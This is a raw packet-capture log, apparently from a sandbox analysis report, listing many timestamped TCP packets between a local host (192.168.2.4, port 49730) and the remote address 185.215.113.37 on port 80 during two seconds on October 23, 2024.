Oct 23, 2024 15:48:19.884567976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.884584904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.884713888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.884728909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.884732008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.884751081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.884767056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.884785891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.884799004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.884799004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.884799957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.884818077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.884834051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885109901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885128975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885143042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885147095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885199070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885216951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885224104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885224104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885245085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885262012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885273933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885273933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885282040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885299921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885309935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885309935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885328054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885341883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885354996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885358095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885385036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885402918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885420084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885421991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885433912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885433912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885441065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885459900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885474920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885474920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885478020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885507107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885510921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885510921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885530949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885535002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885550022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885566950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885585070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885585070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885602951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885623932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885629892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885633945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885633945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885647058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885664940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885680914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885694027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885694027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885699034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885715008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885716915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885735989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885739088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885747910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885762930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885771036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885782957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885799885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885826111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885828972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885828972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885842085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885869026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885879993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885879993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885886908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885904074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885930061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885931969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885931969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885946989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885965109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.885974884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885974884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.885982037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.886001110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.886008024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.886019945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.886037111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.886049032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.886049032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.886054039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.886073112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.886087894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.886097908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.886097908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.886097908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.886106014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.886112928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.886126995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.886157036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.886157036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.886476994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.997915030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.997987986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998044968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998095989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998130083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.998131990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998130083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.998183966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998203993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.998238087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998270988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.998292923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998328924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998356104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.998367071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998397112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.998404026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998420954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.998437881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998471975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998473883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.998522043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998557091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998590946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.998590946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.998606920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998640060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998672962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.998693943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998728037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998742104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.998780012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998830080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998841047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.998841047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.998862982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998897076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998917103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.998927116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.998960972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.998981953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999016047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999016047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.999049902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999053001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.999099970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999133110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.999133110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.999133110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999186039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999217033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.999217033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.999236107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999286890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999341965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.999350071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999385118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999417067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.999418974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999473095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999504089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.999504089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.999521971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999557018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999604940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999635935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.999635935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.999638081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999660969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.999671936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999723911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999757051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999787092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.999787092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.999808073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999841928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999874115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999910116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.999929905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.999964952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000005007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000036001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.000036001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.000055075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000103951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000138998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000168085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000200033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000200033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.000200033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.000251055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000283957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000284910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.000320911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.000336885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000370979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.000386953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000420094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.000436068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000464916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000480890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.000498056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000530958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.000530958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.000531912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000562906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000592947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.000612974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000654936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000699997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.000709057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000744104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000794888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000816107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.000817060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.000849009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000897884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000931025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000962019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.000962019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.000963926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.000998974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001049042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001099110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001107931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.001107931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.001132965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001167059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001185894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.001216888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001266956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001316071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001347065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.001347065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.001351118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001399994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001449108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001482964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001482964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.001516104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.001518011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001569033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001601934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001631975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.001631975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.001636028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001669884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001698017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001703024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.001732111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001765966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001792908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.001796961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001802921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.001832008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001864910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.001866102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001902103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001929045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.001934052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001966953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.001995087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.002002001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002036095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002055883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.002068996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002090931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.002091885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.002103090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002131939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.002135992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002170086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002203941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002221107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.002228975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.002238035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002265930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002296925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.002296925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.002300978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002338886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002372026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002404928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002432108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.002432108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.002439022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002475977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002504110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002509117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.002537966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002568960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.002573013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002605915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002639055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002667904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.002667904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.002671003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002706051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002732992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.002738953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002772093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002804995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002805948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.002839088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002871990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.002873898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002908945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002940893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002954006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.002973080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.002989054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.003006935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003037930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.003040075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003073931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003103018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.003108978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003142118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003175020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.003175020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003211021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003243923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.003274918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.003274918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.003276110 CEST	80	49730	185.215.113.37	192.168.2.4
